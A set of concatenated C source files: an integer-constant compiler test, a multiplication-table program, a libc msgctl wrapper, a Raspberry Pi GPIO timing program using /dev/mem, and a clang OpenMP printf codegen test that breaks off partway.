CHECK_OCT_CONST(037);
CHECK_HEX_CONST(1f);
CHECK_OCT_CONST(040);
CHECK_HEX_CONST(20);
CHECK_OCT_CONST(077);
CHECK_HEX_CONST(3f);
CHECK_OCT_CONST(0100);
CHECK_HEX_CONST(40);
CHECK_OCT_CONST(0177);
CHECK_HEX_CONST(7f);
CHECK_OCT_CONST(0200);
CHECK_HEX_CONST(80);
CHECK_OCT_CONST(0377);
CHECK_HEX_CONST(ff);
CHECK_OCT_CONST(0400);
CHECK_HEX_CONST(100);
CHECK_OCT_CONST(0777);
CHECK_HEX_CONST(1ff);
CHECK_OCT_CONST(01000);
CHECK_HEX_CONST(200);
CHECK_OCT_CONST(01777);
CHECK_HEX_CONST(3ff);
CHECK_OCT_CONST(02000);
CHECK_HEX_CONST(400);
CHECK_OCT_CONST(03777);
CHECK_HEX_CONST(7ff);
CHECK_OCT_CONST(04000);
CHECK_HEX_CONST(800);
CHECK_OCT_CONST(07777);
CHECK_HEX_CONST(fff);
CHECK_OCT_CONST(010000);
CHECK_HEX_CONST(1000);
CHECK_OCT_CONST(017777);
CHECK_HEX_CONST(1fff);
CHECK_OCT_CONST(020000);
CHECK_HEX_CONST(2000);
CHECK_OCT_CONST(037777);
CHECK_HEX_CONST(3fff);
CHECK_OCT_CONST(040000);
CHECK_HEX_CONST(4000);
CHECK_OCT_CONST(077777);
CHECK_HEX_CONST(7fff);
CHECK_OCT_CONST(0100000);
CHECK_HEX_CONST(8000);
CHECK_OCT_CONST(0177777);
CHECK_HEX_CONST(ffff);
CHECK_OCT_CONST(0200000);
CHECK_HEX_CONST(10000);
CHECK_OCT_CONST(0377777);
CHECK_HEX_CONST(1ffff);
CHECK_OCT_CONST(0400000);
CHECK_HEX_CONST(20000);
CHECK_OCT_CONST(0777777);
CHECK_HEX_CONST(3ffff);
CHECK_OCT_CONST(01000000);
CHECK_HEX_CONST(40000);
CHECK_OCT_CONST(01777777);
CHECK_HEX_CONST(7ffff);
CHECK_OCT_CONST(02000000);
CHECK_HEX_CONST(80000);
CHECK_OCT_CONST(03777777);
CHECK_HEX_CONST(fffff);
CHECK_OCT_CONST(04000000);
CHECK_HEX_CONST(100000);
CHECK_OCT_CONST(07777777);
CHECK_HEX_CONST(1fffff);
CHECK_OCT_CONST(010000000);
CHECK_HEX_CONST(200000);
CHECK_OCT_CONST(017777777);
CHECK_HEX_CONST(3fffff);
CHECK_OCT_CONST(020000000);
CHECK_HEX_CONST(400000);
CHECK_OCT_CONST(037777777);
CHECK_HEX_CONST(7fffff);
CHECK_OCT_CONST(040000000);
CHECK_HEX_CONST(800000);
CHECK_OCT_CONST(077777777);
CHECK_HEX_CONST(ffffff);
CHECK_OCT_CONST(0100000000);
CHECK_HEX_CONST(1000000);
CHECK_OCT_CONST(0177777777);
CHECK_HEX_CONST(1ffffff);
CHECK_OCT_CONST(0200000000);
CHECK_HEX_CONST(2000000);
CHECK_OCT_CONST(0377777777);
CHECK_HEX_CONST(3ffffff);
CHECK_OCT_CONST(0400000000);
CHECK_HEX_CONST(4000000);
CHECK_OCT_CONST(0777777777);
CHECK_HEX_CONST(7ffffff);
CHECK_OCT_CONST(01000000000);
CHECK_HEX_CONST(8000000);
CHECK_OCT_CONST(01777777777);
CHECK_HEX_CONST(fffffff);
CHECK_OCT_CONST(02000000000);
CHECK_HEX_CONST(10000000);
CHECK_OCT_CONST(03777777777);
CHECK_HEX_CONST(1fffffff);
CHECK_OCT_CONST(04000000000);
CHECK_HEX_CONST(20000000);
CHECK_OCT_CONST(07777777777);
CHECK_HEX_CONST(3fffffff);
CHECK_OCT_CONST(010000000000);
CHECK_HEX_CONST(40000000);
CHECK_OCT_CONST(017777777777);
CHECK_HEX_CONST(7fffffff);
CHECK_OCT_CONST(020000000000);
CHECK_HEX_CONST(80000000);
CHECK_OCT_CONST(037777777777);
CHECK_HEX_CONST(ffffffff);
#if LONG_AT_LEAST(33)
CHECK_OCT_CONST(040000000000);
CHECK_HEX_CONST(100000000);
CHECK_OCT_CONST(077777777777);
CHECK_HEX_CONST(1ffffffff);
#endif
#if LONG_AT_LEAST(34)
CHECK_OCT_CONST(0100000000000);
CHECK_HEX_CONST(200000000);
CHECK_OCT_CONST(0177777777777);
CHECK_HEX_CONST(3ffffffff);
#endif
#if LONG_AT_LEAST(35)
CHECK_OCT_CONST(0200000000000);
CHECK_HEX_CONST(400000000);
CHECK_OCT_CONST(0377777777777);
CHECK_HEX_CONST(7ffffffff);
#endif
#if LONG_AT_LEAST(36)
CHECK_OCT_CONST(0400000000000);
CHECK_HEX_CONST(800000000);
CHECK_OCT_CONST(0777777777777);
CHECK_HEX_CONST(fffffffff);
#endif
#if LONG_AT_LEAST(37)
CHECK_OCT_CONST(01000000000000);
CHECK_HEX_CONST(1000000000);
CHECK_OCT_CONST(01777777777777);
CHECK_HEX_CONST(1fffffffff);
#endif
#if LONG_AT_LEAST(38)
CHECK_OCT_CONST(02000000000000);
CHECK_HEX_CONST(2000000000);
CHECK_OCT_CONST(03777777777777);
CHECK_HEX_CONST(3fffffffff);
#endif
#if LONG_AT_LEAST(39)
CHECK_OCT_CONST(04000000000000);
CHECK_HEX_CONST(4000000000);
CHECK_OCT_CONST(07777777777777);
CHECK_HEX_CONST(7fffffffff);
#endif
#if LONG_AT_LEAST(40)
CHECK_OCT_CONST(010000000000000);
CHECK_HEX_CONST(8000000000);
CHECK_OCT_CONST(017777777777777);
CHECK_HEX_CONST(ffffffffff);
#endif
#if LONG_AT_LEAST(41)
CHECK_OCT_CONST(020000000000000);
CHECK_HEX_CONST(10000000000);
CHECK_OCT_CONST(037777777777777);
CHECK_HEX_CONST(1ffffffffff);
#endif
#if LONG_AT_LEAST(42)
CHECK_OCT_CONST(040000000000000);
CHECK_HEX_CONST(20000000000);
CHECK_OCT_CONST(077777777777777);
CHECK_HEX_CONST(3ffffffffff);
#endif
#if LONG_AT_LEAST(43)
CHECK_OCT_CONST(0100000000000000);
CHECK_HEX_CONST(40000000000);
CHECK_OCT_CONST(0177777777777777);
CHECK_HEX_CONST(7ffffffffff);
#endif
#if LONG_AT_LEAST(44)
CHECK_OCT_CONST(0200000000000000);
CHECK_HEX_CONST(80000000000);
CHECK_OCT_CONST(0377777777777777);
CHECK_HEX_CONST(fffffffffff);
#endif
#if LONG_AT_LEAST(45)
CHECK_OCT_CONST(0400000000000000);
CHECK_HEX_CONST(100000000000);
CHECK_OCT_CONST(0777777777777777);
CHECK_HEX_CONST(1fffffffffff);
#endif
#if LONG_AT_LEAST(46)
CHECK_OCT_CONST(01000000000000000);
CHECK_HEX_CONST(200000000000);
CHECK_OCT_CONST(01777777777777777);
CHECK_HEX_CONST(3fffffffffff);
#endif
#if LONG_AT_LEAST(47)
CHECK_OCT_CONST(02000000000000000);
CHECK_HEX_CONST(400000000000);
CHECK_OCT_CONST(03777777777777777);
CHECK_HEX_CONST(7fffffffffff);
#endif
#if LONG_AT_LEAST(48)
CHECK_OCT_CONST(04000000000000000);
CHECK_HEX_CONST(800000000000);
CHECK_OCT_CONST(07777777777777777);
CHECK_HEX_CONST(ffffffffffff);
#endif
#if LONG_AT_LEAST(49)
CHECK_OCT_CONST(010000000000000000);
CHECK_HEX_CONST(1000000000000);
CHECK_OCT_CONST(017777777777777777);
CHECK_HEX_CONST(1ffffffffffff);
#endif
#if LONG_AT_LEAST(50)
CHECK_OCT_CONST(020000000000000000);
CHECK_HEX_CONST(2000000000000);
CHECK_OCT_CONST(037777777777777777);
CHECK_HEX_CONST(3ffffffffffff);
#endif
#if LONG_AT_LEAST(51)
CHECK_OCT_CONST(040000000000000000);
CHECK_HEX_CONST(4000000000000);
CHECK_OCT_CONST(077777777777777777);
CHECK_HEX_CONST(7ffffffffffff);
#endif
#if LONG_AT_LEAST(52)
CHECK_OCT_CONST(0100000000000000000);
CHECK_HEX_CONST(8000000000000);
CHECK_OCT_CONST(0177777777777777777);
CHECK_HEX_CONST(fffffffffffff);
#endif
#if LONG_AT_LEAST(53)
CHECK_OCT_CONST(0200000000000000000);
CHECK_HEX_CONST(10000000000000);
CHECK_OCT_CONST(0377777777777777777);
CHECK_HEX_CONST(1fffffffffffff);
#endif
#if LONG_AT_LEAST(54)
CHECK_OCT_CONST(0400000000000000000);
CHECK_HEX_CONST(20000000000000);
CHECK_OCT_CONST(0777777777777777777);
CHECK_HEX_CONST(3fffffffffffff);
#endif
#if LONG_AT_LEAST(55)
CHECK_OCT_CONST(01000000000000000000);
CHECK_HEX_CONST(40000000000000);
CHECK_OCT_CONST(01777777777777777777);
CHECK_HEX_CONST(7fffffffffffff);
#endif
#if LONG_AT_LEAST(56)
CHECK_OCT_CONST(02000000000000000000);
CHECK_HEX_CONST(80000000000000);
CHECK_OCT_CONST(03777777777777777777);
CHECK_HEX_CONST(ffffffffffffff);
#endif
#if LONG_AT_LEAST(57)
CHECK_OCT_CONST(04000000000000000000);
CHECK_HEX_CONST(100000000000000);
CHECK_OCT_CONST(07777777777777777777);
CHECK_HEX_CONST(1ffffffffffffff);
#endif
#if LONG_AT_LEAST(58)
CHECK_OCT_CONST(010000000000000000000);
CHECK_HEX_CONST(200000000000000);
CHECK_OCT_CONST(017777777777777777777);
CHECK_HEX_CONST(3ffffffffffffff);
#endif
#if LONG_AT_LEAST(59)
CHECK_OCT_CONST(020000000000000000000);
CHECK_HEX_CONST(400000000000000);
CHECK_OCT_CONST(037777777777777777777);
CHECK_HEX_CONST(7ffffffffffffff);
#endif
#if LONG_AT_LEAST(60)
CHECK_OCT_CONST(040000000000000000000);
CHECK_HEX_CONST(800000000000000);
CHECK_OCT_CONST(077777777777777777777);
CHECK_HEX_CONST(fffffffffffffff);
#endif
#if LONG_AT_LEAST(61)
CHECK_OCT_CONST(0100000000000000000000);
CHECK_HEX_CONST(1000000000000000);
CHECK_OCT_CONST(0177777777777777777777);
CHECK_HEX_CONST(1fffffffffffffff);
#endif
#if LONG_AT_LEAST(62)
CHECK_OCT_CONST(0200000000000000000000);
CHECK_HEX_CONST(2000000000000000);
CHECK_OCT_CONST(0377777777777777777777);
CHECK_HEX_CONST(3fffffffffffffff);
#endif
#if LONG_AT_LEAST(63)
CHECK_OCT_CONST(0400000000000000000000);
CHECK_HEX_CONST(4000000000000000);
CHECK_OCT_CONST(0777777777777777777777);
CHECK_HEX_CONST(7fffffffffffffff);
#endif
#if LONG_AT_LEAST(64)
CHECK_OCT_CONST(01000000000000000000000);
CHECK_HEX_CONST(8000000000000000);
CHECK_OCT_CONST(01777777777777777777777);
CHECK_HEX_CONST(ffffffffffffffff);
#endif
}
|
the_stack_data/549982.c | #include<stdio.h>
int main()
{
int a;
int b;
int i = 1;
printf("\n enter the number and the last number for tables \n");
scanf("%d", &a);
scanf("%d", &b);
while(i<=b)
{
printf(" %d * %d = %d \n", a,i,a*i);
++i;
}
return 0;
}
|
the_stack_data/70211.c | /*
* $DragonFly: src/lib/libc/gen/msgctl.c,v 1.2 2005/11/13 00:07:42 swildner Exp $
*/
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgctl(int msqid, int cmd, struct msqid_ds *buf)
{
return (msgsys(0, msqid, cmd, buf));
}
|
the_stack_data/57557.c | /********** ACCURATE TIMER for REAL TIME CONTROL ***
This C program illustrates accurate timing on a
Raspberry Pi by sending a 50kHz signal to a GPIO pin
with a jitter of about 0.1 microseconds. It uses the
processor's 1MHz timer and disables interrupts.
It includes GPIO setup and read/write code.
Compiled from console with gcc under the standard
Debian distribution.
Tested with a keyboard and HDMI monitor attached,
and X Windows not started.
**************************************************/
/*********** TIMER CODE example *******
unsigned int timend;
setup() // initialise system
// call only once
interrupts(0); // disable interrupts
timend = *timer + 200; // Set up 200 microsecond delay
// Maximum possible delay
// is 7FFFFFF or about 35 minutes
while((((*timer)-timend) & 0x80000000) != 0); // delay loop
// This works even if *timer
// overflows to zero during the delay,
// or if the while test misses the exact
// termination when (*timer-timend) == 0.
// Jitter in delay about 1 microsceond.
// Can be reduced to about 0.1 microsecond
// by synchronising the timend set
// instruction to a change in *timer
// if interrupts are not disabled
// the delay can occasionally be
// 2ms (or more) longer than requested
// and is routinely out by up to 0.1ms
interrupts(1); // re-enable interrupts
*************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#define GPIO_BASE 0x20200000
#define TIMER_BASE 0x20003000
#define INT_BASE 0x2000B000
volatile unsigned *gpio,*gpset,*gpclr,*gpin,*timer,*intrupt;
/******************** GPIO read/write *******************/
// outputs CLK = GPIO 15 = connector pin 10
// DAT = GPIO 14 = connector pin 8
// code example
// CLKHI;
#define CLKHI *gpset = (1 << 15) // GPIO 15
#define CLKLO *gpclr = (1 << 15)
#define DATHI *gpset = (1 << 14) // GPIO 14
#define DATLO *gpclr = (1 << 14)
// inputs P3 = GPIO 3 = connector pin 5 (Rev 2 board)
// P2 = GPIO 2 = connector pin 3 (Rev 2 board)
// ESC = GPIO 18 = connector pin 12
// code examples
// if(P2IN == 0)
// if(P2IN != 0)
// n = P2INBIT; // 0 or 1
#define ESCIN (*gpin & (1 << 18)) // GPIO 18
#define P2IN (*gpin & (1 << 2)) // GPIO 2
#define P3IN (*gpin & (1 << 3) // GPIO 3
#define P2INBIT ((*gpin >> 2) & 1) // GPIO 2
#define P3INBIT ((*gpin >> 3) & 1) // GPIO 3
/******************* END GPIO ****************/
int setup(void);
int interrupts(int flag);
main()
{
int n,getout;
unsigned int timend;
sleep(1); // 1 second delay
// When the program starts, the interrupt
// system may still be dealing with the
// last Enter keystroke. This gives it
// time to finish.
setup(); // setup GPIO, timer and interrupt pointers
interrupts(0); // Disable interrupts to ensure
// accurate timing.
// Re-enable via interrupts(1) as
// soon as accurate timing is no
// longer needed.
// screen output, keyboard input (and who
// knows what else) stop working until
// interrupts are re-enabled
// 50kHz signal to CLK output = GPIO 15 connector pin 10
// 1000000 cycles = 20 seconds
// checks ESC input pin = GPIO 18 connector pin 12
// if lo - loop terminates
getout = 0;
timend = *timer + 10; // set up 10us delay from
// current timer value
for(n = 0 ; n < 1000000 && getout == 0 ; ++n)
{
// delay to timend
while( (((*timer)-timend) & 0x80000000) != 0);
CLKHI; // output GPIO 15 hi
// check input GPIO 18 pin
// which is pulled hi by setup()
// exit loop if lo
if(ESCIN == 0)
getout = 1;
// 10us delay
timend += 10;
while( (((*timer)-timend) & 0x80000000) != 0);
CLKLO; // output GPIO 15 lo
timend += 10; // 10us delay at start of next loop
}
interrupts(1); // re-enable interrupts
return;
}
/******************** INTERRUPTS *************
Is this safe?
Dunno, but it works
interrupts(0) disable interrupts
interrupts(1) re-enable interrupts
return 1 = OK
0 = error with message print
Uses intrupt pointer set by setup()
Does not disable FIQ which seems to
cause a system crash
Avoid calling immediately after keyboard input
or key strokes will not be dealt with properly
*******************************************/
int interrupts(int flag)
{
static unsigned int sav132 = 0;
static unsigned int sav133 = 0;
static unsigned int sav134 = 0;
if(flag == 0) // disable
{
if(sav132 != 0)
{
// Interrupts already disabled so avoid printf
return(0);
}
if( (*(intrupt+128) | *(intrupt+129) | *(intrupt+130)) != 0)
{
printf("Pending interrupts\n"); // may be OK but probably
return(0); // better to wait for the
} // pending interrupts to
// clear
sav134 = *(intrupt+134);
*(intrupt+137) = sav134;
sav132 = *(intrupt+132); // save current interrupts
*(intrupt+135) = sav132; // disable active interrupts
sav133 = *(intrupt+133);
*(intrupt+136) = sav133;
}
else // flag = 1 enable
{
if(sav132 == 0)
{
printf("Interrupts not disabled\n");
return(0);
}
*(intrupt+132) = sav132; // restore saved interrupts
*(intrupt+133) = sav133;
*(intrupt+134) = sav134;
sav132 = 0; // indicates interrupts enabled
}
return(1);
}
/***************** SETUP ****************
Sets up five GPIO pins as described in comments
Sets timer and interrupt pointers for future use
Does not disable interrupts
return 1 = OK
0 = error with message print
************************************/
int setup()
{
int memfd;
unsigned int timend;
void *gpio_map,*timer_map,*int_map;
memfd = open("/dev/mem",O_RDWR|O_SYNC);
if(memfd < 0)
{
printf("Mem open error\n");
return(0);
}
gpio_map = mmap(NULL,4096,PROT_READ|PROT_WRITE,
MAP_SHARED,memfd,GPIO_BASE);
timer_map = mmap(NULL,4096,PROT_READ|PROT_WRITE,
MAP_SHARED,memfd,TIMER_BASE);
int_map = mmap(NULL,4096,PROT_READ|PROT_WRITE,
MAP_SHARED,memfd,INT_BASE);
close(memfd);
if(gpio_map == MAP_FAILED ||
timer_map == MAP_FAILED ||
int_map == MAP_FAILED)
{
printf("Map failed\n");
return(0);
}
// interrupt pointer
intrupt = (volatile unsigned *)int_map;
// timer pointer
timer = (volatile unsigned *)timer_map;
++timer; // timer lo 4 bytes
// timer hi 4 bytes available via *(timer+1)
// GPIO pointers
gpio = (volatile unsigned *)gpio_map;
gpset = gpio + 7; // set bit register offset 28
gpclr = gpio + 10; // clr bit register
gpin = gpio + 13; // read all bits register
// setup GPIO 2/3 = inputs have pull ups on board
// control reg = gpio + 0 = pin/10
// GPIO 2 shift 3 bits by 6 = (pin rem 10) * 3
// GPIO 3 shift 3 bits by 9 = (pin rem 10) * 3
*gpio &= ~(7 << 6); // GPIO 2 3 bits = 000 input
*gpio &= ~(7 << 9); // GPIO 3 3 bits = 000 input
// setup GPIO 18 = input
*(gpio+1) &= ~(7 << 24); // GPIO 18 input
// enable pull up on GPIO 18
*(gpio+37) = 2; // PUD = 2 pull up
// = 0 disable pull up/down
// = 1 pull down
timend = *timer+2; // 2us delay
while( (((*timer)-timend) & 0x80000000) != 0);
*(gpio+38) = (1 << 18); // PUDCLK bit set clocks PUD=2 to GPIO 18
timend = *timer+2; // 2us delay
while( (((*timer)-timend) & 0x80000000) != 0);
*(gpio+37) = 0; // zero PUD
*(gpio+38) = 0; // zero PUDCLK
// finished pull up enable
// GPIO 14/15 = outputs
// control reg = gpio + 1 = pin/10
// GPIO 14 shift 3 bits by 12 = (pin rem 10) * 3
// GPIO 15 shift 3 bits by 15 = (pin rem 10) * 3
*(gpio+1) &= ~(7 << 12); // GPIO 14 zero 3 bits
*(gpio+1) |= (1 << 12); // 3 bits = 001 output
*(gpio+1) &= ~(7 << 15); // GPIO 15 zero 3 bits
*(gpio+1) |= (1 << 15); // 3 bits = 001 output
return(1);
}
/**************** PULL UPS *********
pull up register PUD = gpio+37
clock register PUDCLK = gpio+38
1. set PUD = 0 disable pull up/down
1 enable pull down
2 enable pull up
3 reserved
*(gpio+37) = 2 to pull up
2. wait 150 cycles
3. set bit of GPIO pin in PUDCLK
so for GPIO 3 *(gpio+38) = 8
to clock PUD into GPIO 3 only
4. wait 150 cycles
5. write 0 to PUD
6. write 0 to PUDCLK
************ END ************************/
|
the_stack_data/367.c | // NOTE: Assertions have been autogenerated by utils/update_cc_test_checks.py UTC_ARGS: --function-signature --include-generated-funcs --replace-value-regex "__omp_offloading_[0-9a-z]+_[0-9a-z]+" "reduction_size[.].+[.]" "pl_cond[.].+[.|,]" --prefix-filecheck-ir-name _
// Test target codegen - host bc file has to be created first.
// RUN: %clang_cc1 -verify -fopenmp -x c -triple powerpc64le-unknown-unknown -fopenmp-targets=nvptx64-nvidia-cuda -emit-llvm-bc %s -o %t-ppc-host.bc
// RUN: %clang_cc1 -verify -fopenmp -x c -triple nvptx64-unknown-unknown -fopenmp-targets=nvptx64-nvidia-cuda -emit-llvm %s -fopenmp-is-device -fopenmp-host-ir-file-path %t-ppc-host.bc -o - | FileCheck %s --check-prefix CHECK --check-prefix CHECK-64
// RUN: %clang_cc1 -verify -fopenmp -x c -triple i386-unknown-unknown -fopenmp-targets=nvptx-nvidia-cuda -emit-llvm-bc %s -o %t-x86-host.bc
// RUN: %clang_cc1 -verify -fopenmp -x c -triple nvptx-unknown-unknown -fopenmp-targets=nvptx-nvidia-cuda -emit-llvm %s -fopenmp-is-device -fopenmp-host-ir-file-path %t-x86-host.bc -o - | FileCheck %s --check-prefix CHECK --check-prefix CHECK-32
// expected-no-diagnostics
extern int printf(const char *, ...);
// Check a simple call to printf end-to-end.
int CheckSimple(void) {
#pragma omp target
{
// printf in master-only basic block.
const char* fmt = "%d %lld %f";
printf(fmt, 1, 2ll, 3.0);
}
return 0;
}
void CheckNoArgs(void) {
#pragma omp target
{
// printf in master-only basic block.
printf("hello, world!");
}
}
// Check that printf's alloca happens in the entry block, not inside the if
// statement.
int foo;
void CheckAllocaIsInEntryBlock(void) {
#pragma omp target
{
if (foo) {
printf("%d", 42);
}
}
}
//
//
//
// CHECK-64-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}_CheckSimple_l13
// CHECK-64-SAME: () #[[ATTR0:[0-9]+]] {
// CHECK-64-NEXT: entry:
// CHECK-64-NEXT: [[FMT:%.*]] = alloca i8*, align 8
// CHECK-64-NEXT: [[TMP:%.*]] = alloca [[PRINTF_ARGS:%.*]], align 8
// CHECK-64-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1:[0-9]+]], i8 1, i1 true, i1 true)
// CHECK-64-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1
// CHECK-64-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]]
// CHECK-64: user_code.entry:
// CHECK-64-NEXT: store i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i64 0, i64 0), i8** [[FMT]], align 8
// CHECK-64-NEXT: [[TMP1:%.*]] = load i8*, i8** [[FMT]], align 8
// CHECK-64-NEXT: [[TMP2:%.*]] = getelementptr inbounds [[PRINTF_ARGS]], %printf_args* [[TMP]], i32 0, i32 0
// CHECK-64-NEXT: store i32 1, i32* [[TMP2]], align 4
// CHECK-64-NEXT: [[TMP3:%.*]] = getelementptr inbounds [[PRINTF_ARGS]], %printf_args* [[TMP]], i32 0, i32 1
// CHECK-64-NEXT: store i64 2, i64* [[TMP3]], align 8
// CHECK-64-NEXT: [[TMP4:%.*]] = getelementptr inbounds [[PRINTF_ARGS]], %printf_args* [[TMP]], i32 0, i32 2
// CHECK-64-NEXT: store double 3.000000e+00, double* [[TMP4]], align 8
// CHECK-64-NEXT: [[TMP5:%.*]] = bitcast %printf_args* [[TMP]] to i8*
// CHECK-64-NEXT: [[TMP6:%.*]] = call i32 @__llvm_omp_vprintf(i8* [[TMP1]], i8* [[TMP5]], i32 24)
// CHECK-64-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true)
// CHECK-64-NEXT: ret void
// CHECK-64: worker.exit:
// CHECK-64-NEXT: ret void
//
//
// CHECK-64-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}_CheckNoArgs_l25
// CHECK-64-SAME: () #[[ATTR0]] {
// CHECK-64-NEXT: entry:
// CHECK-64-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1]], i8 1, i1 true, i1 true)
// CHECK-64-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1
// CHECK-64-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]]
// CHECK-64: user_code.entry:
// CHECK-64-NEXT: [[TMP1:%.*]] = call i32 @__llvm_omp_vprintf(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str1, i64 0, i64 0), i8* null, i32 0)
// CHECK-64-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true)
// CHECK-64-NEXT: ret void
// CHECK-64: worker.exit:
// CHECK-64-NEXT: ret void
//
//
// CHECK-64-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}_CheckAllocaIsInEntryBlock_l36
// CHECK-64-SAME: (i64 noundef [[FOO:%.*]]) #[[ATTR0]] {
// CHECK-64-NEXT: entry:
// CHECK-64-NEXT: [[FOO_ADDR:%.*]] = alloca i64, align 8
// CHECK-64-NEXT: [[TMP:%.*]] = alloca [[PRINTF_ARGS_0:%.*]], align 8
// CHECK-64-NEXT: store i64 [[FOO]], i64* [[FOO_ADDR]], align 8
// CHECK-64-NEXT: [[CONV:%.*]] = bitcast i64* [[FOO_ADDR]] to i32*
// CHECK-64-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1]], i8 1, i1 true, i1 true)
// CHECK-64-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1
// CHECK-64-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]]
// CHECK-64: user_code.entry:
// CHECK-64-NEXT: [[TMP1:%.*]] = load i32, i32* [[CONV]], align 4
// CHECK-64-NEXT: [[TOBOOL:%.*]] = icmp ne i32 [[TMP1]], 0
// CHECK-64-NEXT: br i1 [[TOBOOL]], label [[IF_THEN:%.*]], label [[IF_END:%.*]]
// CHECK-64: if.then:
// CHECK-64-NEXT: [[TMP2:%.*]] = getelementptr inbounds [[PRINTF_ARGS_0]], %printf_args.0* [[TMP]], i32 0, i32 0
// CHECK-64-NEXT: store i32 42, i32* [[TMP2]], align 4
// CHECK-64-NEXT: [[TMP3:%.*]] = bitcast %printf_args.0* [[TMP]] to i8*
// CHECK-64-NEXT: [[TMP4:%.*]] = call i32 @__llvm_omp_vprintf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str2, i64 0, i64 0), i8* [[TMP3]], i32 4)
// CHECK-64-NEXT: br label [[IF_END]]
// CHECK-64: worker.exit:
// CHECK-64-NEXT: ret void
// CHECK-64: if.end:
// CHECK-64-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true)
// CHECK-64-NEXT: ret void
//
//
//
//
//
// CHECK-32-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}_CheckSimple_l13
// CHECK-32-SAME: () #[[ATTR0:[0-9]+]] {
// CHECK-32-NEXT: entry:
// CHECK-32-NEXT: [[FMT:%.*]] = alloca i8*, align 4
// CHECK-32-NEXT: [[TMP:%.*]] = alloca [[PRINTF_ARGS:%.*]], align 8
// CHECK-32-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1:[0-9]+]], i8 1, i1 true, i1 true)
// CHECK-32-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1
// CHECK-32-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]]
// CHECK-32: user_code.entry:
// CHECK-32-NEXT: store i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i32 0, i32 0), i8** [[FMT]], align 4
// CHECK-32-NEXT: [[TMP1:%.*]] = load i8*, i8** [[FMT]], align 4
// CHECK-32-NEXT: [[TMP2:%.*]] = getelementptr inbounds [[PRINTF_ARGS]], %printf_args* [[TMP]], i32 0, i32 0
// CHECK-32-NEXT: store i32 1, i32* [[TMP2]], align 4
// CHECK-32-NEXT: [[TMP3:%.*]] = getelementptr inbounds [[PRINTF_ARGS]], %printf_args* [[TMP]], i32 0, i32 1
// CHECK-32-NEXT: store i64 2, i64* [[TMP3]], align 8
// CHECK-32-NEXT: [[TMP4:%.*]] = getelementptr inbounds [[PRINTF_ARGS]], %printf_args* [[TMP]], i32 0, i32 2
// CHECK-32-NEXT: store double 3.000000e+00, double* [[TMP4]], align 8
// CHECK-32-NEXT: [[TMP5:%.*]] = bitcast %printf_args* [[TMP]] to i8*
// CHECK-32-NEXT: [[TMP6:%.*]] = call i32 @__llvm_omp_vprintf(i8* [[TMP1]], i8* [[TMP5]], i32 24)
// CHECK-32-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true)
// CHECK-32-NEXT: ret void
// CHECK-32: worker.exit:
// CHECK-32-NEXT: ret void
//
//
// CHECK-32-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}_CheckNoArgs_l25
// CHECK-32-SAME: () #[[ATTR0]] {
// CHECK-32-NEXT: entry:
// CHECK-32-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1]], i8 1, i1 true, i1 true)
// CHECK-32-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1
// CHECK-32-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]]
// CHECK-32: user_code.entry:
// CHECK-32-NEXT: [[TMP1:%.*]] = call i32 @__llvm_omp_vprintf(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str1, i32 0, i32 0), i8* null, i32 0)
// CHECK-32-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true)
// CHECK-32-NEXT: ret void
// CHECK-32: worker.exit:
// CHECK-32-NEXT: ret void
//
//
// CHECK-32-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}_CheckAllocaIsInEntryBlock_l36
// CHECK-32-SAME: (i32 noundef [[FOO:%.*]]) #[[ATTR0]] {
// CHECK-32-NEXT: entry:
// CHECK-32-NEXT: [[FOO_ADDR:%.*]] = alloca i32, align 4
// CHECK-32-NEXT: [[TMP:%.*]] = alloca [[PRINTF_ARGS_0:%.*]], align 8
// CHECK-32-NEXT: store i32 [[FOO]], i32* [[FOO_ADDR]], align 4
